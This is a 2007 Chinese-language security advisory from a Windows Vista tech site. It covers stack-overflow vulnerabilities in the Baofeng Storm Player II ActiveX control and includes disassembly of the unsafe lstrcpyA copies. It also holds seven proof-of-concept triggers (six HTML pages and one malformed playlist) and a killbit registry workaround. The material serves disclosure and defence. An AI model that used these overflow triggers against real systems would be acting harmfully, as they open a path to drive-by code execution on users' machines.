注册通行证 用户名 密码
  • 文章投稿
  • 博客
  • 论坛
  • 设为首页
  • 加入收藏
jztop.com网络技术
  • 首页
  • | iT新闻
  • | 操作系统
  • | 组网建网
  • | 网络安全
  • | 程序开发
  • | 办公一族
  • | 工具软件
  • | 网页制作
  • | 多媒体制作
  • | 网吧技术
  • | 服务器
  • | 专题教程
Vista | 软件评测 | 系统备份 | 优化 | 进程 | 聊天 | 病毒 | Linux | 黑客 | 防火墙 | 数据库 | Web开发 | Java | Word | 游戏 | 32位开发 | 移动开发
当前位置:首页 > 操作系统 > Windows vista专栏 > Vista应用 > 内容正文

Vista学院预警:暴风影音II 0day漏洞曝光及解决方案

发布时间:2007-09-16 19:40:27 来源:Vista之家 - vista123.com 网友评论 0 条

Vista学院(www.jztop.com/os/vista)预警:暴风影音II 0day漏洞曝光及解决方案

  2007年9月9日监测到一个高度危险暴风影音II(国内一款影音播放软件)漏洞被曝光,该漏洞发生在暴风影音II的一个activex控件上,当安装了暴风影音II的用户在浏览黑客 精心构造的包含恶意代码的网页后,会下载任意程序在用户系统上以当前用户上下文权限运行。同时在国内发现已有漏洞利用生成器开始流传,并在最近的挂马网站监测中发现有网站利用暴风影音II漏洞进行挂马。

  影响版本:暴风影音II

  漏洞的原因如下:
  暴风影音包含一个sparser.dll文件,此dll的一个导出函数在处理非法超长URL时发生栈溢出。黑客可以构造一个网页调用activex控 件中的rawParse函数,通过rawParse调用sparser.dll中存在问题的导出函数,从而导致溢出,执行任意代码。

URL属性、rawParse方法和advancedOpen方法溢出的poc分别如下:

[Vuln 1]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "/x0c";

while (s.length < 300) {
 s += "/x0c";
}

storm.URL = s;
</script>
</body>
</html>

[Vuln 2]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "/x0c";

while (s.length < 300) {
 s += "/x0c";
}

storm.rawParse(s);
</script>
</body>
</html>

[Vuln 3]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "/x0c";

while (s.length < 1050) {
 s += "/x0c";
}

storm.advancedOpen(s, "");
</script>
</body>
</html>

URL属性、rawParse方法和advancedOpen方法的溢出本质是同一个问题,他们都调用了sparser.dll导出的一个函数。这个函数从代码来看是处理路径和URL的,URL属性和rawParse方法传入的参数也都是URL。

.text:10004F40 ; int __stdcall sub_10004F40(LPCSTR lpMultiByteStr,int,int)
.text:10004F40 sub_10004F40 proc near ; DATA XREF: .rdata:1000F2D0o
.text:10004F40
.text:10004F40 var_14 = dword ptr -14h
.text:10004F40 var_10 = dword ptr -10h
.text:10004F40 var_C = dword ptr -0Ch
.text:10004F40 var_4 = dword ptr -4
.text:10004F40 lpMultiByteStr = dword ptr 4
.text:10004F40 arg_8 = dword ptr 0Ch
.text:10004F40
.text:10004F40 mov eax, large fs:0
.text:10004F46 push 0FFFFFFFFh
.text:10004F48 push offset loc_1000EB21
.text:10004F4D push eax
 ... ... ... ...
.text:1000506D call dword ptr [ecx+4]
.text:10005070 mov ecx, esi
.text:10005072 mov edx, [esp+24h+lpMultiByteStr]
.text:10005076 push edx ; lpMultiByteStr
.text:10005077 call sub_10002450

该函数第二、三个参数都是指向用户输入串拷贝的指针,最后一行进入另一个函数:

.text:10002450 ; int __stdcall sub_10002450(LPCSTR lpMultiByteStr)
.text:10002450 sub_10002450 proc near ; CODE XREF: sub_10004F40+137p
.text:10002450
.text:10002450 var_12C = dword ptr -12Ch
.text:10002450 pszPath = byte ptr -120h
.text:10002450 var_1C = dword ptr -1Ch
.text:10002450 var_4 = dword ptr -4
.text:10002450 lpMultiByteStr = dword ptr 8
.text:10002450
.text:10002450 push ebp
.text:10002451 mov ebp, esp
.text: 10002453 sub esp, 120h ; 注意这里分配了120h即288字节大小的buffer
 ... ... ... ...
.text:100024ED mov edi, [ebp+lpMultiByteStr]
.text:100024F0 push edi ; pszPath
.text: 100024F1 call ds:PathIsURLA ; 这里判断是否为合法的URL
.text:100024F7 test eax, eax
.text: 100024F9 jz loc_10002582 ; 如果不是则跳转
 ... ... ... ...
.text:10002582 lea eax, [ebp+pszPath]
.text: 10002588 push edi ; 用户输入的串
.text:10002589 push eax
.text: 1000258A call ds:lstrcpyA ; 串拷贝造成栈溢出

通过以上分析发现,程序在处理非法超长(长度大于MAX_PATH)URL时发生栈溢出。这个函数是个导出函数,暴风影音其他地方如果调用这个函数的话,都可能有问题。于是通过在这个函数下断点发现暴风影音主程序处理URL时也是调用这个函数,同样也有问题。我们构造一个播放列表文件就可以触发:

[Vuln 4]

<?xml version="1.0" encoding="GB2312"?>
<PlayList>
 <item name="ph4nt0m" time="" path="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"/>
</PlayList>

但是问题还远远没有结束,在mps.dll中,还存在很明显的以下几个漏洞:

IsDVDPath方法:

037EAB8B 56 PUSH ESI
037EAB8C 57 PUSH EDI
037EAB8D 50 PUSH EAX ; src
037EAB8E 8D85 F0FEFFFF LEA EAX,DWORD PTR SS:[EBP-110] ; dest
037EAB94 68 30FE8003 PUSH mps.0380FE30 ; ASCII "%s/video_ts.ifo"
037EAB99 50 PUSH EAX
037EAB9A E8 F2FA0000 CALL mps.037FA691 ; copy

[Vuln 5]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "/x0c";

while (s.length < 1050) {
 s += "/x0c";
}

storm.isDVDPath(s);
</script>
</body>
</html>

backImage属性:

03FA6D5B . 8D9E 0C030000 LEA EBX,DWORD PTR DS:[ESI+30C] <===========
03FA6D84 . FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; /String2
03FA6D87 . 8986 08030000 MOV DWORD PTR DS:[ESI+308],EAX ; |
03FA6D8D . 53 PUSH EBX ; |String1
03FA6D8E . FF15 5471FC03 CALL DWORD PTR DS:[<&KERNEL32.lstrcpyA>] ; /lstrcpyA
03FA6D94 > 8B86 34040000 MOV EAX,DWORD PTR DS:[ESI+434]
03FA6D9A . 8D8E 34040000 LEA ECX,DWORD PTR DS:[ESI+434] <===========
03FA6DA0 . 894D 0C MOV DWORD PTR SS:[EBP+C],ECX
03FA6DA3 . FF50 04 CALL DWORD PTR DS:[EAX+4]

[Vuln 6]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "/x0c";

while (s.length < 1050) {
 s += "/x0c";
}

storm.backImage = s;
</script>
</body>
</html>

titleImage属性:

03EA68E7 . FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; /String2
03EA68EA . 8903 MOV DWORD PTR DS:[EBX],EAX ; |
03EA68EC . 8D86 A4010000 LEA EAX,DWORD PTR DS:[ESI+1A4] ; |
03EA68F2 . 50 PUSH EAX ; |String1
03EA68F3 . FF15 5471EC03 CALL DWORD PTR DS:[<&KERNEL32.lstrcpy>; /lstrcpyA
03EA68F9 > 8B86 C8020000 MOV EAX,DWORD PTR DS:[ESI+2C8]
03EA68FF . 8D9E C8020000 LEA EBX,DWORD PTR DS:[ESI+2C8]
03EA6905 . 8BCB MOV ECX,EBX
03EA6907 . 895D 0C MOV DWORD PTR SS:[EBP+C],EBX
03EA690A . FF50 04 CALL DWORD PTR DS:[EAX+4]

[Vuln 7]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "/x0c";

while (s.length < 1050) {
 s += "/x0c";
}

storm.titleImage = s;
</script>
</body>
</html>

暴风影音在前段时间宣布脱离了MPC内核,现在大部分代码都是自己写的。我们看到暴风影音在业务迅速发展,版本迅速更新的同时,带来的是对产品安全的忽视与侥幸心理。我以前一直感觉暴风影音会有问题,因为他包含了太多的dll,随便哪个文件格式出问题,就会导致严重漏洞。这些漏洞也许只是冰山的一角,继续挖掘下去,也许会发现更多的东西。快速发展型企业生存不容易,愿“暴风”一路走好。

  二、解决方案

  在暴风影音官方发布补丁之前不要使用暴风影音,或者使用临时解决方案,针对该控件漏洞的临时解决办法是对该com组建设置killbit,将下面内容保存为baofeng.reg文件,双击导入注册表:

------把下面几行文字保存成baofeng.reg,不含本行

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerActiveX Compatibility{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]
"Compatibility Flags"=dword:00000400

------把上面几行文字保存成baofeng.reg,不含本行

影音播放类软件下载:http://www.jztop.com/os/vista/vista/457.html
  
 Vista学院(www.jztop.com/os/vista),Windows Vista 爱好者之家

关于  的新闻
    无相关信息
【评论】【收藏本文】【打印】【关闭】
上一篇文章:从百度搜索引擎,看大家最关心Vista的哪些方面
下一篇文章:Windows Vista 系统里睡眠、休眠、关机的区别和使用
讨论区
查看
已有 0 位对此新闻感兴趣的网友发表了看法
匿名发表
注册通行证 登陆
图文阅读推荐
微软官方入门教程14:会用Vista下的IE7网上畅游么?
微软官方入门教程14:会用Vista下的IE7网上畅游么?
微软官方入门教程15:Vista系统,一切安全为先
微软官方入门教程15:Vista系统,一切安全为先
微软官方入门教程16:Vista系统的超多重防护机制
微软官方入门教程16:Vista系统的超多重防护机制
微软官方入门教程17:Vista备份、Vista还原轻松实现
微软官方入门教程17:Vista备份、Vista还原轻松实现
全站资源
  • 微软官方入门教程19:轻松掌握Vista系统的快
  • 微软2008大冲击,预借Vista SP1力促Vista市
  • 在收件箱中获得 Windows Vista 的最新更新
  • 微软官方Vista入门教程全集19篇(Vista学院
  • Windows Vista 的成功将势不可挡
  • 快快抛弃Vista,拥抱XP SP3!你觉得呢?
  • 浅谈Vista系统关闭虚拟内存与使用内存盘加速
  • 嘿嘿,按下键盘上面的三个键,马上让你的Vi
  • Windows Vista的盗版率只有Windows XP的一半
  • 3DMark和PCMark Vantage新版将只支持Vista系
阅读排行
  • 25则Windows Vista RC1技巧大放送
  • 你能容忍吗?Windows Vista二十宗罪
  • Windows Vista中强大的数码相片处理功能
  • 技术的极大冲击 透过Vista看电脑硬件未来
  • 喜新厌旧 给Windows XP换上Vista新衣
  • Vista Aero Glass:它真的那么好?
  • 超越Vista:Longhorn β 2试用报告
  • 功能大幅度提高 Win Vista主要特性揭密
  • 穷人的Windows Vista系统伪升级方案
  • Windows Vista操作系统八大特性抢鲜体验
最新技术文档
  • 微软官方入门教程14:会用Vista下的IE7网上
  • 微软官方入门教程15:Vista系统,一切安全为
  • 微软官方入门教程16:Vista系统的超多重防护
  • 微软官方入门教程17:Vista备份、Vista还原
  • 微软官方入门教程18:Vista家长控制让您孩子
  • 微软官方入门教程19:轻松掌握Vista系统的快
  • 在收件箱中获得 Windows Vista 的最新更新
  • 微软官方Vista入门教程全集19篇(Vista学院
  • 浅谈Vista系统关闭虚拟内存与使用内存盘加速
  • 嘿嘿,按下键盘上面的三个键,马上让你的Vi
专题教程
  • 大话G游 专题:手机病毒揭密
  • ARP攻击防范与解决方案 路由故障处理手册
  • Picasa中文版_Picasa教程 专题:清除流氓软件
  • Firefox专题 seo搜索引擎优化专区
  • 重装Windows必知的事情 装机之必备软件大行动
病毒专杀栏
  • 杀毒软件反被病毒杀 连"救命"都不能喊
  • 金山ARP防火墙
  • 还原卡神话破灭“机器狗”病毒来势汹汹
  • cctv经济半小时:你的手机现在安全吗?
  • 新挂马方式开始流行 ARP挂马称雄局域网
  • 木马和病毒清除的通用解法
  • IP地址不再冲突 查找ARP攻击者元凶
  • 教你几招识别和防御Web网页木马
  • 分析:封杀BT只是暂时的止痛药
  • QQ爆危险漏洞,“QQ游戏邀请大盗”邀请你玩病
关于我们 | 诚聘英才 | 联系我们 | 版权声明 | 网站大事 | 网站地图 | 意见建议
CopyRight 2005-2007 Jztop.Com 版权所有 未经许可 请勿转载